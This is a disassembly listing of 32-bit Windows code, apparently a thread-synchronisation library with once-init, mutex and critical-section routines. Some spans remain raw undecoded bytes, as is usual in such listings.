		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_432278
		nop
		call	near ptr 77C1F2BCh
		mov	ebx, [eax]


loc_432278:				; CODE XREF: sub_4321F0+6Ej
					; sub_4321F0+7Ej
		push	edi
		call	near ptr 7C9010EDh
		nop
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432285:				; CODE XREF: sub_4321F0+1Ej
		mov	ebx, 16h


loc_43228A:				; CODE XREF: sub_4321F0+56j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432290:				; CODE XREF: sub_4321F0+Aj
					; sub_4321F0+14j
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
sub_4321F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4322D0	proc near		; CODE XREF: sub_401785j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_432355
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_432355
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4322F2
		push	esi
		call	sub_401C17
		add	esp, 4
		mov	edi, eax


loc_4322F2:				; CODE XREF: sub_4322D0+15j
		mov	esi, [esi]
		test	edi, edi
		jnz	short loc_432350
		push	0FFFFFFFFh
		push	edi
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432323
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_43231B
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_43231B:				; CODE XREF: sub_4322D0+44j
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432323:				; CODE XREF: sub_4322D0+35j
		cmp	dword ptr [esi+8], 1
		jnz	short loc_43234B
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A64
		add	esp, 8
		test	eax, eax
		jz	short loc_43234B
		mov	eax, [esi+4]
		inc	eax
		mov	[esi+4], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43234B:				; CODE XREF: sub_4322D0+57j
					; sub_4322D0+6Dj
		mov	edi, 10h


loc_432350:				; CODE XREF: sub_4322D0+26j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432355:				; CODE XREF: sub_4322D0+Aj
					; sub_4322D0+10j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_4322D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432390:				; CODE XREF: ___:0040193Dj
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_40119A
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4323C0:				; CODE XREF: ___:00401591j
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_4018CF
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4323F0:				; CODE XREF: ___:00401497j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_4323FC
		mov	eax, [eax+4]
		retn
; ---------------------------------------------------------------------------


loc_4323FC:				; CODE XREF: ___:004323F6j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432410:				; CODE XREF: ___:00401C12j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jnz	short loc_432422
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432422:				; CODE XREF: ___:00432418j
		mov	esi, [eax]
		test	esi, esi
		jnz	short loc_432445
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_432445
		call	sub_401D02
; ---------------------------------------------------------------------------
		dd 0C5E89056h, 0E8023FDBh, 0FFFCF8C2h, 5EC0335Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_432445:				; CODE XREF: ___:00432426j
					; ___:0043242Dj
		mov	ecx, [eax+4]
		mov	eax, 431BDE83h
		add	ecx, 0F423Fh
		imul	ecx
		sar	edx, 12h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		lea	eax, [esi+esi*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [eax+eax*4]
		lea	edi, [edx+ecx*8]
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jnz	short loc_43247E
		pop	edi
		mov	eax, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43247E:				; CODE XREF: ___:00432474j
		mov	eax, [esi+30h]
		push	edi
		test	eax, eax
		jnz	short loc_4324E6
		mov	edx, [esi+38h]
		push	edx
		nop
		call	near ptr 2770586h
		test	eax, eax
		jnz	short loc_4324D7
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402248
		mov	eax, [esi+0Ch]
		add	esp, 4
		cmp	eax, 3
		jge	short loc_4324C6
		push	edi
		mov	dword ptr [esi+0Ch], 3
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4324C6:				; CODE XREF: ___:004324A6j
		push	edi
		call	sub_4010C3
		add	esp, 4
		mov	eax, 3
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4324D7:				; CODE XREF: ___:00432492j
		cmp	eax, 102h
		jz	short loc_4324EC
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4324E6:				; CODE XREF: ___:00432484j
		nop
		call	near ptr 2830000h


loc_4324EC:				; CODE XREF: ___:004324DCj
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432540:				; CODE XREF: ___:00401014j
		push	ecx
		lea	eax, [esp+0]
		push	eax
		call	sub_401C3A
		add	esp, 4
		test	eax, eax
		mov	eax, 1
		jnz	short loc_43255B
		mov	eax, [esp+0]


loc_43255B:				; CODE XREF: ___:00432555j
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432570	proc near		; CODE XREF: sub_401712j
		push	esi
		call	sub_401320
		push	offset aKernel32_dll ; "KERNEL32.DLL"
		mov	esi, eax
		nop
		call	near ptr 27E0937h
		push	offset aInterlockedcom ; "InterlockedCompareExchange"
		push	eax
		mov	dword_5103AC, eax
		nop
		call	near ptr 28903ACh
		test	eax, eax
		mov	dword_5103C8, eax
		jnz	short loc_4325BD
		mov	eax, dword_5103AC
		mov	dword_5103C8, offset sub_4012D0
		push	eax
		nop
		call	near ptr 275070Ch
		mov	dword_5103AC, 0


loc_4325BD:				; CODE XREF: sub_432570+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_432570	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4325F0	proc near		; CODE XREF: sub_401627j
		mov	eax, dword_5103B0
		test	eax, eax
		jz	short loc_432640
		mov	eax, dword_5103B4
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 0A0E8501Ah,	8BFFFCF1h
		dd 5103B40Dh, 4C48300h,	6A118Bh, 0A1E89052h, 0E80231DDh
		dd 0FFFCF015h, 5103ACA1h, 74C08500h, 0E8905007h, 231E0CCh
; ---------------------------------------------------------------------------


loc_432640:				; CODE XREF: sub_4325F0+7j
		mov	eax, 1
		retn
sub_4325F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432670	proc near		; CODE XREF: sub_4017BCj
		mov	eax, 1
		retn
sub_432670	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432690	proc near		; CODE XREF: sub_4017CBj
		mov	eax, dword_5103B0
		test	eax, eax
		jz	short loc_4326CB
		mov	eax, dword_5103B4
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 0E8501Ah, 8BFFFCF1h
		dd 5103B40Dh, 4C48300h,	6A118Bh, 1E89052h
		db 0DDh, 31h, 2
; ---------------------------------------------------------------------------


loc_4326CB:				; CODE XREF: sub_432690+7j
		mov	eax, 1
		retn
sub_432690	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432700:				; CODE XREF: ___:0040225Cj
		push	ecx
		push	esi
		push	offset dword_510980
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	eax, dword_5103BC
		test	eax, eax
		mov	[esp+4], eax
		jz	short loc_43273E


loc_43271C:				; CODE XREF: ___:0043273Cj
		test	esi, esi
		jnz	short loc_43273E
		lea	eax, [esp+4]
		push	eax
		call	sub_40160E
		mov	ecx, [esp+8]
		mov	esi, eax
		add	esp, 4
		mov	eax, [ecx+18h]
		test	eax, eax
		mov	[esp+4], eax
		jnz	short loc_43271C


loc_43273E:				; CODE XREF: ___:0043271Aj
					; ___:0043271Ej
		push	offset dword_510980
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		neg	eax
		sbb	eax, eax
		and	eax, 0Bh
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432780	proc near		; CODE XREF: sub_4012B7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_432799
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432799
		cmp	dword ptr [eax], 0C4C0FFEEh
		jnz	short loc_432799
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_432799:				; CODE XREF: sub_432780+6j
					; sub_432780+Cj ...
		mov	eax, 1
		retn
sub_432780	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4327B0	proc near		; CODE XREF: sub_401320j
		mov	eax, dword_5103B0
		test	eax, eax
		jz	short loc_4327BF
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_4327BF:				; CODE XREF: sub_4327B0+7j
		push	0
		push	offset dword_5103B4
		mov	dword_5103B0, 1
		call	sub_401609
		add	esp, 8
		test	eax, eax
		jnz	short loc_4327EE
		push	eax
		push	offset dword_5103B8
		call	sub_401609
		add	esp, 8
		test	eax, eax
		jz	short loc_4327F3


loc_4327EE:				; CODE XREF: sub_4327B0+2Aj
		call	sub_401645


loc_4327F3:				; CODE XREF: sub_4327B0+3Cj
		push	esi
		mov	esi, dword_511868
		push	offset dword_5108C0
		call	esi
		push	offset dword_510920
		call	esi
		push	offset dword_510980
		call	esi
		push	offset dword_510900
		call	esi
		push	offset dword_510960
		call	esi
		push	offset dword_510940
		call	esi
		mov	eax, dword_5103B0
		pop	esi
		retn
sub_4327B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432850	proc near		; CODE XREF: sub_401645j
		mov	eax, dword_5103B0
		test	eax, eax
		jz	locret_432909
		mov	eax, dword_5103B4
		test	eax, eax
		jz	short loc_432879
		push	eax
		call	sub_401AB4
		add	esp, 4
		mov	dword_5103B4, 0


loc_432879:				; CODE XREF: sub_432850+14j
		mov	eax, dword_5103B8
		test	eax, eax
		jz	short loc_432895
		push	eax
		call	sub_401AB4
		add	esp, 4
		mov	dword_5103B8, 0


loc_432895:				; CODE XREF: sub_432850+30j
		push	esi
		push	offset dword_5108C0
		nop
		call	near ptr 7C901005h
		mov	eax, dword_447700
		cmp	eax, 1
		jz	short loc_4328C3
		push	edi
		mov	edi, dword_511AD0


loc_4328B2:				; CODE XREF: sub_432850+70j
		mov	esi, [eax+8]
		push	eax
		call	edi
		add	esp, 4
		cmp	esi, 1
		mov	eax, esi
		jnz	short loc_4328B2
		pop	edi


loc_4328C3:				; CODE XREF: sub_432850+59j
		push	offset dword_5108C0
		nop
		call	near ptr 7C9010EDh
		mov	esi, dword_511864
		push	offset dword_510940
		call	esi
		push	offset dword_510960
		call	esi
		push	offset dword_510900
		call	esi
		push	offset dword_510980
		call	esi
		push	offset dword_510920
		call	esi
		push	offset dword_5108C0
		call	esi
		mov	dword_5103B0, 0
		pop	esi

locret_432909:				; CODE XREF: sub_432850+7j
		retn
sub_432850	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432940:				; CODE XREF: ___:loc_401BA9j
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	eax
		mov	esi, [eax]
		mov	ecx, [eax+4]
		mov	edx, [eax+8]
		mov	[ebp-4], esi
		mov	[ebp-0Ch], ecx
		mov	[ebp-8], edx
		nop
		call	near ptr 77C2C21Bh
		mov	eax, dword_5103B4
		push	esi
		push	eax
		call	sub_4020F9
; ---------------------------------------------------------------------------
		mov	dword ptr [esi+0Ch], 1
		add	esi, 3Ch
		push	0
		push	esi
		call	sub_437D4C
; ---------------------------------------------------------------------------
		mov	edi, [ebp-4]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_43299C
		mov	ecx, [ebp-8]
		push	ecx
		call	dword ptr [ebp-0Ch]
		add	esp, 4
		mov	[edi+14h], eax
		mov	esi, eax
		jmp	short loc_4329A8
; ---------------------------------------------------------------------------


loc_43299C:				; CODE XREF: ___:00432989j
		dec	eax
		jz	short loc_4329A5
		dec	eax
		or	esi, 0FFFFFFFFh
		jmp	short loc_4329A8
; ---------------------------------------------------------------------------


loc_4329A5:				; CODE XREF: ___:0043299Dj
		mov	esi, [edi+14h]


loc_4329A8:				; CODE XREF: ___:0043299Aj
					; ___:004329A3j
		cmp	dword ptr [edi+20h], 1
		jnz	short loc_4329C7
		call	sub_4017CB
		push	esi
		call	near ptr 77C3A307h
		nop
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_4329C7:				; CODE XREF: ___:004329ACj
		push	edi
		call	sub_40131B
		add	esp, 4
		push	esi
		call	near ptr 77C3A307h
		nop
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432A20	proc near		; CODE XREF: sub_4017B7j

var_84		= byte ptr -84h
var_80		= dword	ptr -80h
var_58		= byte ptr -58h
var_4C		= dword	ptr -4Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  4

		sub	esp, 84h
		push	ebx
		mov	ebx, [esp+88h+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_432A9A
		lea	esi, [ebx+2Ch]
		push	edi
		push	esi
		call	sub_402248
		push	esi
		mov	dword ptr [ebx+0Ch], 5
		call	sub_4010C3
		push	ebx
		call	sub_40131B
		mov	ecx, 21h
		mov	esi, ebx
		lea	edi, [esp+9Ch+var_84]
		push	ebx
		rep movsd
		call	sub_401BD1
		mov	eax, [esp+0A0h+var_4C]
		mov	esi, dword_5118E0
		add	esp, 10h
		test	eax, eax
		pop	edi
		jz	short loc_432A78
		push	eax
		call	esi


loc_432A78:				; CODE XREF: sub_432A20+53j
		lea	eax, [esp+8Ch+var_58]
		push	eax
		call	sub_402252
		mov	eax, [esp+90h+var_80]
		add	esp, 4
		test	eax, eax
		jz	short loc_432A9A
		test	[esp+8Ch+var_8], 1
		jnz	short loc_432A9A
		push	eax
		call	esi


loc_432A9A:				; CODE XREF: sub_432A20+11j
					; sub_432A20+6Bj ...
		pop	esi
		pop	ebx
		add	esp, 84h
		retn
sub_432A20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432AE0	proc near		; CODE XREF: sub_401DDEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		push	edi
		push	14h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_432B01
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432B01:				; CODE XREF: sub_432AE0+15j
		mov	edi, [esp+10h+arg_8]
		mov	ebp, [esp+10h+arg_4]
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	[esi+4], ebp
		lea	ebx, [edi+8]
		mov	[esi+8], edi
		push	ebx
		call	sub_402248
		add	esp, 4
		mov	[esp+10h+arg_4], eax
		test	eax, eax
		jz	short loc_432B42
		push	esi
		call	sub_402252
		push	esi
		nop
		call	near ptr 77C2C21Bh
		mov	eax, [esp+18h+arg_4]
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432B42:				; CODE XREF: sub_432AE0+47j
		mov	eax, [edi+0Ch]
		push	ebx
		mov	[esi+10h], eax
		mov	[edi+0Ch], esi
		call	sub_4010C3
		add	esp, 4
		test	ebp, ebp
		jz	short loc_432B67
		mov	ecx, [ebp+80h]
		mov	[esi+0Ch], ecx
		mov	[ebp+80h], esi


loc_432B67:				; CODE XREF: sub_432AE0+76j
		mov	edx, [esp+10h+arg_0]
		pop	edi
		xor	eax, eax
		mov	[edx], esi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_432AE0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432BB0	proc near		; CODE XREF: sub_40105Fj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_432BD7
		mov	eax, [esi+8]
		test	eax, eax
		jnz	short loc_432BD7
		mov	eax, [esi+4]
		test	eax, eax
		jnz	short loc_432BD7
		push	esi
		call	sub_402252
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 8


loc_432BD7:				; CODE XREF: sub_432BB0+7j
					; sub_432BB0+Ej ...
		pop	esi
		retn
sub_432BB0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432BF0	proc near		; CODE XREF: sub_40131Bj

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_432C5D
		mov	esi, [ebx+80h]
		test	esi, esi
		jz	short loc_432C5D
		push	edi


loc_432C05:				; CODE XREF: sub_432BF0+6Aj
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_432C58
		mov	edi, [esi+8]
		test	edi, edi
		jz	short loc_432C33
		push	edi
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_432C33
		mov	edi, [edi+4]
		test	edi, edi
		jz	short loc_432C33
		push	eax


loc_432C2E:				; CODE XREF: ___:00432CA7j
		call	edi
		add	esp, 4


loc_432C33:				; CODE XREF: sub_432BF0+27j
					; sub_432BF0+34j ...
		mov	eax, [esi+0Ch]
		mov	dword ptr [esi+4], 0
		push	esi
		mov	[ebx+80h], eax
		call	sub_4010C3
		push	esi
		call	sub_40105F
		mov	esi, [ebx+80h]
		add	esp, 8


loc_432C58:				; CODE XREF: sub_432BF0+20j
		test	esi, esi
		jnz	short loc_432C05
		pop	edi


loc_432C5D:				; CODE XREF: sub_432BF0+8j
					; sub_432BF0+12j
		pop	esi
		pop	ebx
		retn
sub_432BF0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_432C80	proc near		; CODE XREF: sub_401DEDj
		mov	eax, dword_5103B4
		push	ebx
		push	edi
		push	eax
		call	sub_401190
sub_432C80	endp

; ---------------------------------------------------------------------------
		db 8Bh,	5Ch, 24h
; ---------------------------------------------------------------------------
		adc	[ebx-47CFB3Ch],	al
		add	cl, [ebx-7CF28B08h]
		sti
		add	[eax+ecx+6Ah], esi
		add	[eax-7F8E2918h], edx
		ja	short loc_432C2E
		push	dword ptr [esi+eax-0Ah]
		inc	edi
		jl	short near ptr loc_432CB0+1


loc_432CB0:				; CODE XREF: ___:00432CAEj
		jz	short loc_432CD5
		push	esi
		mov	eax, ebx
		xor	esi, esi
		dec	eax
		jz	short loc_432CC2
		dec	eax
		jnz	short loc_432CC5
		or	esi, 0FFFFFFFFh
		jmp	short loc_432CC5
; ---------------------------------------------------------------------------


loc_432CC2:				; CODE XREF: ___:00432CB8j
		mov	esi, [edi+14h]


loc_432CC5:				; CODE XREF: ___:00432CBBj
					; ___:00432CC0j
		call	sub_4017CB
		push	esi
		call	near ptr 77C3A307h
		nop
		add	esp, 4
		pop	esi


loc_432CD5:				; CODE XREF: ___:loc_432CB0j
		push	1
		call	sub_401B22
; ---------------------------------------------------------------------------
		dd 8304C483h, 57533CC7h, 408AE890h, 90907780h, 90909090h
		dd 8 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_432D10	proc near		; CODE XREF: sub_401B22j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_401122
sub_432D10	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_432D2F


loc_432D22:				; CODE XREF: ___:00432D2Dj
		push	esi
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_432D22


loc_432D2F:				; CODE XREF: ___:00432D20j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432D50:				; CODE XREF: ___:00401DF7j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432D70	proc near		; CODE XREF: sub_4012D0j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		lock cmpxchg [ecx], edx
		mov	[ebp+var_4], eax
		pop	edx
		pop	ecx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_432D70	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432DB0	proc near		; CODE XREF: sub_401C3Aj

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		lea	eax, [esp+8+var_4]
		lea	ecx, [esp+8+var_8]
		push	esi
		push	eax
		push	ecx
		xor	esi, esi
		nop
		call	near ptr 2790249h
		push	eax
		nop
		call	near ptr 2750000h
		test	eax, eax
		jz	short loc_432DF2
		mov	edx, [esp+0Ch+var_8]
		xor	ecx, ecx
		mov	eax, 1


loc_432DDC:				; CODE XREF: sub_432DB0+33j
		test	eax, edx
		jz	short loc_432DE1
		inc	ecx


loc_432DE1:				; CODE XREF: sub_432DB0+2Ej
		shl	eax, 1
		jnz	short loc_432DDC
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, esi
		pop	esi
		mov	[edx], ecx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_432DF2:				; CODE XREF: sub_432DB0+1Fj
		mov	eax, 0Bh
		pop	esi
		add	esp, 8
		retn
sub_432DB0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432E20	proc near		; CODE XREF: sub_40185Cj

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510960
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432E54
		push	esi
		push	ecx
		call	sub_401F91
		add	esp, 8
		mov	esi, eax
		push	offset dword_510960
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432E54:				; CODE XREF: sub_432E20+17j
		test	eax, eax
		jnz	short loc_432E5D
		mov	esi, 16h


loc_432E5D:				; CODE XREF: sub_432E20+36j
		push	offset dword_510960
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_432E20	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432E90	proc near		; CODE XREF: sub_401861j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+14h]
		lea	ecx, [esi+4]
		neg	eax
		push	ecx
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		push	esi
		call	sub_4010C3
		add	esp, 8
		pop	esi
		retn
sub_432E90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432ED0	proc near		; CODE XREF: sub_401F91j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	eax, eax
		jnz	short loc_432EE2
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432EE2:				; CODE XREF: sub_432ED0+9j
		mov	eax, [esp+4+arg_4]
		push	ebx
		test	eax, eax
		push	edi
		jz	short loc_432F02
		cmp	dword ptr [eax], 0
		jz	short loc_432F02
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432F02:				; CODE XREF: sub_432ED0+1Aj
					; sub_432ED0+1Fj
		push	1Ch
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_432F26
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 0Ch
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432F26:				; CODE XREF: sub_432ED0+43j
		push	0
		push	esi
		mov	dword ptr [esi+0Ch], 0
		mov	dword ptr [esi+10h], 0
		mov	dword ptr [esi+14h], 0
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_432F84
		lea	ebx, [esi+4]
		push	eax
		push	ebx
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_432F7B
		push	eax
		lea	eax, [esi+8]
		push	eax
		call	sub_40154B
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_432F9C
		push	ebx
		call	sub_402252
		add	esp, 4


loc_432F7B:				; CODE XREF: sub_432ED0+8Dj
		push	esi
		call	sub_402252
		add	esp, 4


loc_432F84:				; CODE XREF: sub_432ED0+7Aj
		push	esi
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432F9C:				; CODE XREF: sub_432ED0+A0j
		mov	ecx, [esp+0Ch+arg_0]
		xor	edi, edi
		mov	eax, edi
		mov	dword ptr [esi+18h], 0FACADE2h
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
sub_432ED0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433000:				; CODE XREF: ___:004018BBj
		mov	eax, [esp+4]
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		xor	ebp, ebp
		test	eax, eax
		jz	loc_43313B
		mov	esi, [eax]
		test	esi, esi
		jz	loc_43313B
		cmp	esi, 0FFFFFFFFh
		jz	loc_4330F7
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_43313B
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	loc_433140
		lea	edi, [esi+4]
		push	edi
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_433069
		push	esi
		call	sub_4010C3
